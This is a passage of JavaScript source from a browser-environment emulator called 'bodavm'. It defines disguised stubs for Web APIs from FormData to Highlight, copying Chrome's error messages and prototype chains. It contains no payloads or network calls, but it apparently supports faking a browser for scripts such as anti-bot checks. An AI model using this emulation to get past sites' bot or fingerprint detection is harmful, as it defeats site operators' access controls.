bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('FormData', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "get", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('FormData', "getAll", {configurable:true, enumerable:true, writable:true, value:function getAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "getAll", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('FormData', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "has", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('FormData', "set", {configurable:true, enumerable:true, writable:true, value:function set (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('FormData', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "entries", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('FormData', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "forEach", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('FormData', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "keys", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('FormData', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "values", arguments)}},'prototype'); - - -// FormDataEvent对象 -bodavm.memory.globalobj['FormDataEvent'] = function FormDataEvent(){if (!(this instanceof FormDataEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FormDataEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FormDataEvent'], "FormDataEvent"); -bodavm.memory.globalobj['FormDataEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['FormDataEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('FormDataEvent', "formData", {configurable:true, enumerable:true, get:function formData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormDataEvent'].prototype, "FormDataEvent", "formData_get", arguments)}, set:undefined},'prototype'); - -// FragmentDirective对象 -bodavm.memory.globalobj['FragmentDirective'] = function FragmentDirective(){if (!(this instanceof FragmentDirective)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FragmentDirective'], "FragmentDirective"); - -// GainNode对象 -bodavm.memory.globalobj['GainNode'] = function GainNode(){if (!(this instanceof GainNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'GainNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GainNode'], "GainNode"); -bodavm.memory.globalobj['GainNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['GainNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('GainNode', "gain", {configurable:true, enumerable:true, get:function gain (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GainNode'].prototype, "GainNode", "gain_get", arguments)}, set:undefined},'prototype'); - -// Gamepad对象 -bodavm.memory.globalobj['Gamepad'] = function Gamepad(){if (!(this instanceof Gamepad)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Gamepad'], "Gamepad"); -bodavm.toolsFunc.defineProperty('Gamepad', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Gamepad', "index", {configurable:true, enumerable:true, get:function index (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "index_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Gamepad', "connected", {configurable:true, enumerable:true, get:function connected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "connected_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Gamepad', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "timestamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Gamepad', "mapping", {configurable:true, enumerable:true, get:function mapping (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "mapping_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Gamepad', "axes", {configurable:true, enumerable:true, get:function axes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "axes_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Gamepad', "buttons", {configurable:true, enumerable:true, get:function buttons (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "buttons_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Gamepad', "vibrationActuator", {configurable:true, enumerable:true, get:function vibrationActuator (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "vibrationActuator_get", arguments)}, set:undefined},'prototype'); - -// GamepadButton对象 -bodavm.memory.globalobj['GamepadButton'] = function GamepadButton(){if (!(this instanceof GamepadButton)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GamepadButton'], "GamepadButton"); -bodavm.toolsFunc.defineProperty('GamepadButton', "pressed", {configurable:true, enumerable:true, get:function pressed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadButton'].prototype, "GamepadButton", "pressed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GamepadButton', "touched", {configurable:true, enumerable:true, get:function touched (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadButton'].prototype, "GamepadButton", "touched_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GamepadButton', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadButton'].prototype, "GamepadButton", "value_get", arguments)}, set:undefined},'prototype'); - -// GamepadEvent对象 -bodavm.memory.globalobj['GamepadEvent'] = function GamepadEvent(){if (!(this instanceof GamepadEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'GamepadEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GamepadEvent'], "GamepadEvent"); -bodavm.memory.globalobj['GamepadEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['GamepadEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('GamepadEvent', "gamepad", {configurable:true, enumerable:true, get:function gamepad (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadEvent'].prototype, "GamepadEvent", "gamepad_get", arguments)}, set:undefined},'prototype'); - -// GamepadHapticActuator对象 -bodavm.memory.globalobj['GamepadHapticActuator'] = function GamepadHapticActuator(){if (!(this instanceof GamepadHapticActuator)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GamepadHapticActuator'], "GamepadHapticActuator"); -bodavm.toolsFunc.defineProperty('GamepadHapticActuator', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadHapticActuator'].prototype, "GamepadHapticActuator", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GamepadHapticActuator', "playEffect", {configurable:true, enumerable:true, writable:true, value:function playEffect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadHapticActuator'].prototype, "GamepadHapticActuator", "playEffect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('GamepadHapticActuator', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadHapticActuator'].prototype, "GamepadHapticActuator", "reset", arguments)}},'prototype'); - -// Geolocation对象 -bodavm.memory.globalobj['Geolocation'] = function Geolocation(){if (!(this instanceof Geolocation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Geolocation'], "Geolocation"); -bodavm.toolsFunc.defineProperty('Geolocation', "clearWatch", {configurable:true, enumerable:true, writable:true, value:function clearWatch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Geolocation'].prototype, "Geolocation", "clearWatch", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Geolocation', "getCurrentPosition", {configurable:true, enumerable:true, writable:true, value:function getCurrentPosition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Geolocation'].prototype, "Geolocation", "getCurrentPosition", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Geolocation', "watchPosition", {configurable:true, enumerable:true, writable:true, value:function watchPosition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Geolocation'].prototype, "Geolocation", "watchPosition", arguments)}},'prototype'); - -// GeolocationCoordinates对象 -bodavm.memory.globalobj['GeolocationCoordinates'] = function GeolocationCoordinates(){if (!(this instanceof GeolocationCoordinates)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GeolocationCoordinates'], "GeolocationCoordinates"); -bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "latitude", {configurable:true, enumerable:true, get:function latitude (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "latitude_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "longitude", {configurable:true, enumerable:true, get:function longitude (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "longitude_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "altitude", {configurable:true, enumerable:true, get:function altitude (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "altitude_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "accuracy", {configurable:true, enumerable:true, get:function accuracy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "accuracy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "altitudeAccuracy", {configurable:true, enumerable:true, get:function altitudeAccuracy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "altitudeAccuracy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "heading", {configurable:true, enumerable:true, get:function heading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "heading_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "speed", {configurable:true, enumerable:true, get:function speed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "speed_get", arguments)}, set:undefined},'prototype'); - -// GeolocationPosition对象 -bodavm.memory.globalobj['GeolocationPosition'] = function GeolocationPosition(){if (!(this instanceof GeolocationPosition)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GeolocationPosition'], "GeolocationPosition"); -bodavm.toolsFunc.defineProperty('GeolocationPosition', "coords", {configurable:true, enumerable:true, get:function coords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationPosition'].prototype, "GeolocationPosition", "coords_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationPosition', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationPosition'].prototype, "GeolocationPosition", "timestamp_get", arguments)}, set:undefined},'prototype'); - -// GeolocationPositionError对象 -bodavm.memory.globalobj['GeolocationPositionError'] = function GeolocationPositionError(){if (!(this instanceof GeolocationPositionError)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GeolocationPositionError'], "GeolocationPositionError"); -bodavm.toolsFunc.defineProperty('GeolocationPositionError', "PERMISSION_DENIED", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('GeolocationPositionError', "POSITION_UNAVAILABLE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('GeolocationPositionError', "TIMEOUT", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('GeolocationPositionError', "code", {configurable:true, enumerable:true, get:function code (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationPositionError'].prototype, "GeolocationPositionError", "code_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationPositionError', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationPositionError'].prototype, "GeolocationPositionError", "message_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationPositionError', "PERMISSION_DENIED", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationPositionError', "POSITION_UNAVAILABLE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationPositionError', "TIMEOUT", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); - -// getComputedStyle对象 -bodavm.memory.globalobj['getComputedStyle'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('getComputedStyle', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('getComputedStyle', "name", {configurable:true, enumerable:false, writable:false, value:"getComputedStyle"}); - -// getScreenDetails对象 -bodavm.memory.globalobj['getScreenDetails'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('getScreenDetails', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('getScreenDetails', "name", {configurable:true, enumerable:false, writable:false, value:"getScreenDetails"}); - -// getSelection对象 -bodavm.memory.globalobj['getSelection'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('getSelection', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('getSelection', "name", {configurable:true, enumerable:false, writable:false, value:"getSelection"}); - -// GravitySensor对象 -bodavm.memory.globalobj['GravitySensor'] = function GravitySensor(){this._boarg= new bodaobj.window.GravitySensor();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GravitySensor'], "GravitySensor"); -bodavm.memory.globalobj['GravitySensor'].prototype.__proto__=bodavm.memory.globalobj['Accelerometer'].prototype; -bodavm.memory.globalobj['GravitySensor'].__proto__=bodavm.memory.globalobj['Accelerometer']; - -// Gyroscope对象 -bodavm.memory.globalobj['Gyroscope'] = function Gyroscope(){this._boarg= new bodaobj.window.Gyroscope();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Gyroscope'], "Gyroscope"); -bodavm.memory.globalobj['Gyroscope'].prototype.__proto__=bodavm.memory.globalobj['Sensor'].prototype; -bodavm.memory.globalobj['Gyroscope'].__proto__=bodavm.memory.globalobj['Sensor']; -bodavm.toolsFunc.defineProperty('Gyroscope', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gyroscope'].prototype, "Gyroscope", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Gyroscope', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gyroscope'].prototype, "Gyroscope", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Gyroscope', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gyroscope'].prototype, "Gyroscope", "z_get", arguments)}, set:undefined},'prototype'); - -// HashChangeEvent对象 -bodavm.memory.globalobj['HashChangeEvent'] = function HashChangeEvent(){if (!(this instanceof HashChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'HashChangeEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HashChangeEvent'], "HashChangeEvent"); -bodavm.memory.globalobj['HashChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['HashChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('HashChangeEvent', "oldURL", {configurable:true, enumerable:true, get:function oldURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HashChangeEvent'].prototype, "HashChangeEvent", "oldURL_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HashChangeEvent', "newURL", {configurable:true, enumerable:true, get:function newURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HashChangeEvent'].prototype, "HashChangeEvent", "newURL_get", arguments)}, set:undefined},'prototype'); - -// HID对象 -bodavm.memory.globalobj['HID'] = function HID(){if (!(this instanceof HID)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HID'], "HID"); -bodavm.memory.globalobj['HID'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['HID'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('HID', "onconnect", {configurable:true, enumerable:true, get:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "onconnect_get", arguments)}, set:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "onconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HID', "ondisconnect", {configurable:true, enumerable:true, get:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "ondisconnect_get", arguments)}, set:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "ondisconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HID', "getDevices", {configurable:true, enumerable:true, writable:true, value:function getDevices (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "getDevices", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HID', "requestDevice", {configurable:true, enumerable:true, writable:true, value:function requestDevice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "requestDevice", arguments)}},'prototype'); - -// HIDConnectionEvent对象 -bodavm.memory.globalobj['HIDConnectionEvent'] = function HIDConnectionEvent(){if (!(this instanceof HIDConnectionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'HIDConnectionEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HIDConnectionEvent'], "HIDConnectionEvent"); -bodavm.memory.globalobj['HIDConnectionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['HIDConnectionEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('HIDConnectionEvent', "device", {configurable:true, enumerable:true, get:function device (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDConnectionEvent'].prototype, "HIDConnectionEvent", "device_get", arguments)}, set:undefined},'prototype'); - -// HIDDevice对象 -bodavm.memory.globalobj['HIDDevice'] = function HIDDevice(){if (!(this instanceof HIDDevice)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HIDDevice'], "HIDDevice"); -bodavm.memory.globalobj['HIDDevice'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['HIDDevice'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('HIDDevice', "oninputreport", {configurable:true, enumerable:true, get:function oninputreport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "oninputreport_get", arguments)}, set:function oninputreport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "oninputreport_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "opened", {configurable:true, enumerable:true, get:function opened (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "opened_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "vendorId", {configurable:true, enumerable:true, get:function vendorId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "vendorId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "productId", {configurable:true, enumerable:true, get:function productId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "productId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "productName", {configurable:true, enumerable:true, get:function productName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "productName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "collections", {configurable:true, enumerable:true, get:function collections (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "collections_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "forget", {configurable:true, enumerable:true, writable:true, value:function forget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "forget", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "open", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "receiveFeatureReport", {configurable:true, enumerable:true, writable:true, value:function receiveFeatureReport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "receiveFeatureReport", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "sendFeatureReport", {configurable:true, enumerable:true, writable:true, value:function sendFeatureReport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "sendFeatureReport", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "sendReport", {configurable:true, enumerable:true, writable:true, value:function sendReport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "sendReport", arguments)}},'prototype'); - -// HIDInputReportEvent对象 -bodavm.memory.globalobj['HIDInputReportEvent'] = function HIDInputReportEvent(){if (!(this instanceof HIDInputReportEvent)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HIDInputReportEvent'], "HIDInputReportEvent"); -bodavm.memory.globalobj['HIDInputReportEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['HIDInputReportEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('HIDInputReportEvent', "device", {configurable:true, enumerable:true, get:function device (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDInputReportEvent'].prototype, "HIDInputReportEvent", "device_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HIDInputReportEvent', "reportId", {configurable:true, enumerable:true, get:function reportId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDInputReportEvent'].prototype, "HIDInputReportEvent", "reportId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HIDInputReportEvent', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDInputReportEvent'].prototype, "HIDInputReportEvent", "data_get", arguments)}, set:undefined},'prototype'); - -// Highlight对象 - -bodavm.memory.globalobj['Highlight'] = function Highlight(){this._boarg= new bodaobj.window.Highlight();this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Highlight'], "Highlight"); - -bodavm.toolsFunc.defineProperty('Highlight', "priority", {configurable:true, enumerable:true, get:function priority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "priority_get", arguments)}, set:function priority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "priority_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "type_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "size_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "add", {configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "add", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "clear", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "entries", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "forEach", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Highlight'].prototype, "Highlight", "has", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Highlight', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, 